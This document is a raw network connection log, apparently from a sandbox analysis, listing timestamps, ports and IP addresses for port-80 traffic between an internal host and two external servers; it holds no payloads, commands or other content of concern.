Dec 20, 2024 07:12:46.342283010 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.342327118 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.343262911 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.343393087 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.343436003 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.344264030 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.344355106 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.344402075 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.345304012 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.345356941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.345403910 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.346304893 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.346467018 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.346512079 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.347358942 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.347446918 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.347495079 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.348365068 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.348522902 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.348571062 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.349344969 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.349495888 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.349539042 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.350403070 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.350656033 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.350703001 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.351434946 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.351561069 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.351614952 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.352457047 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.352566957 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.352612972 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.353492975 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.353619099 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.353665113 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.354470968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.354595900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.354641914 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.355518103 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.355616093 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.355663061 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.356482029 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.356628895 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.356684923 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.357541084 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.357639074 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.357682943 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.358558893 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.358700037 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.358751059 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.359576941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.359628916 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.359679937 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.360589027 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.360726118 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.360774040 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.361605883 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.361723900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.361768007 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.362618923 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.362670898 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.362724066 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.363641977 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.363697052 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.363739014 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.364659071 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.364790916 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.364833117 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.365677118 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.365813017 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.365859032 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.366708994 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.366806984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.366852999 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.367722988 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.367834091 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.367870092 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.368772984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.368863106 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.368931055 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.369962931 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.369998932 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.370047092 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.370779991 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.370897055 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.370944977 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.371812105 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.371921062 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.371963978 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.372849941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.372977972 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.373022079 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.373867035 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.373992920 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.374034882 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.374895096 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.375044107 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.375083923 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.375888109 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.375994921 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.376043081 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.376883984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.377003908 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.377051115 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.377937078 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.378191948 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.378237963 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.378365040 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.378428936 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.378459930 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.378504038 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.378910065 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.378961086 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.378995895 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.379009962 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.379031897 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.379067898 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.379084110 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.379904032 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.379954100 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.379959106 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.379995108 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.380038023 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.380345106 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.380378962 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.380384922 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.380415916 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.380976915 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.381197929 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.381238937 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.381321907 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.381406069 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.381470919 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.381510019 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.382026911 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.382078886 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.382124901 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.382391930 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.382458925 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.382515907 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.382612944 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.383018970 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.383146048 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.383192062 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.383433104 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.383482933 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.383553028 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.383599043 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.384064913 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.384176016 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.384246111 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.384501934 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.384566069 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.384599924 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.384645939 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.385073900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.385164022 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.385219097 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.385543108 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.385592937 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.385595083 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.385639906 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.386095047 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.386234999 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.386277914 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.386528969 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.386570930 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.386636019 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.386686087 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.387105942 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.387232065 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.387279034 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.387547970 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.387594938 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.387662888 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.387706041 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.388123989 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.388222933 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.388263941 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.388587952 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.388638020 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.388726950 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.388772964 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.389154911 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.389239073 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.389285088 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.389657974 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.389733076 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.389756918 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.389822006 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.390166044 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.390350103 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.390398979 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.390697002 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.390764952 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.390785933 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.390852928 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.391186953 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.391347885 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.391428947 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.391726971 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.391779900 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.391803980 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.391912937 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.392214060 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.392266989 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.392311096 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.392765045 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.392827034 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.392889023 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.392952919 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.393210888 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.393338919 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.393409967 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.393805981 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.393920898 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.393933058 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.393990993 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.394241095 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.394292116 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.394375086 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.394876003 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.394968033 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.394987106 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.395051956 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.395215988 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.395874023 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.395945072 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.395968914 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.396053076 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.396924019 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.397046089 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.397135019 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.397984028 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.398044109 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.398124933 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.398233891 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.398999929 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.399121046 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.399143934 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.399382114 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.400032997 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.400127888 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.400157928 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.400353909 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.401094913 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.401168108 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.401199102 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.401278019 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.402131081 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.402221918 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.402283907 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.403114080 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.403196096 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.403244972 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.403311014 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.404172897 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.404243946 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.404270887 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.404331923 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.405221939 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.405273914 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.405287981 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.405342102 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.406294107 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.406362057 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.406382084 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.406447887 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.407304049 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.407373905 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.407427073 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.407483101 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.408345938 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.408423901 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.408514977 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.408586025 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.409379005 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.409450054 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.409498930 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.409671068 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.410413980 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.410510063 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.410553932 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.410604954 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.411437988 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.411509991 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.411565065 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.411786079 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.412506104 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.412614107 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.412990093 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.413521051 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.413604975 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.413635015 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.413703918 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.414571047 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.414637089 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.414700985 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.414829969 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.415610075 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.415663958 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.415697098 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.415829897 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.416630030 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.416749954 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.416780949 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.416954041 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.417668104 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.417757988 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.417804956 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.417921066 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.418714046 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.418850899 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.418880939 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.418946981 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.419732094 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.419862032 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.419862986 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.419958115 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.420770884 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.420897961 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.420902014 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.421235085 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.421828032 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.421941042 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.422017097 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.422930956 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.423038960 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.423042059 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.423130035 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.423883915 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.423950911 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.424030066 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.424164057 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.424927950 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.425049067 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.425050974 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.425127983 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.425949097 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.426021099 CET	49867	80	192.168.2.4	31.41.244.11
